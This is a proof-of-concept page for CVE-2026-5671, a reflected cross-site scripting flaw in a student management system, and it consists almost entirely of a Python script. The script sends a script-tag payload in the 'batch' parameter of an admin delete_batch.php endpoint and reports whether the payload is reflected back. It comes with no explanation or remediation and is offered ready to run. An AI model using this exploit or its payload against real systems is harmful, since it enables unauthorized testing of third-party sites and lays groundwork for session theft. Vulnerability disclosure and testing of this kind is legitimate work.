CVE-2026-5671 Cyber-III学生管理系统XSS漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-5671 import requests target = "http://target-host.com/admin/class%20schedule/delete_batch.php" # Malicious payload to test XSS payload = '"><script>alert("CVE-2026-5671_PoC")</script>' params = { "batch": payload } try: response = requests.get(target, params=params, timeout=5) if payload in response.text: print(f"[+] Vulnerability confirmed! Payload reflected in response.") print(f"[+] Target: {target}?batch={payload}") else: print("[-] Payload not reflected, might be filtered.") except Exception as e: print(f"Error: {e}")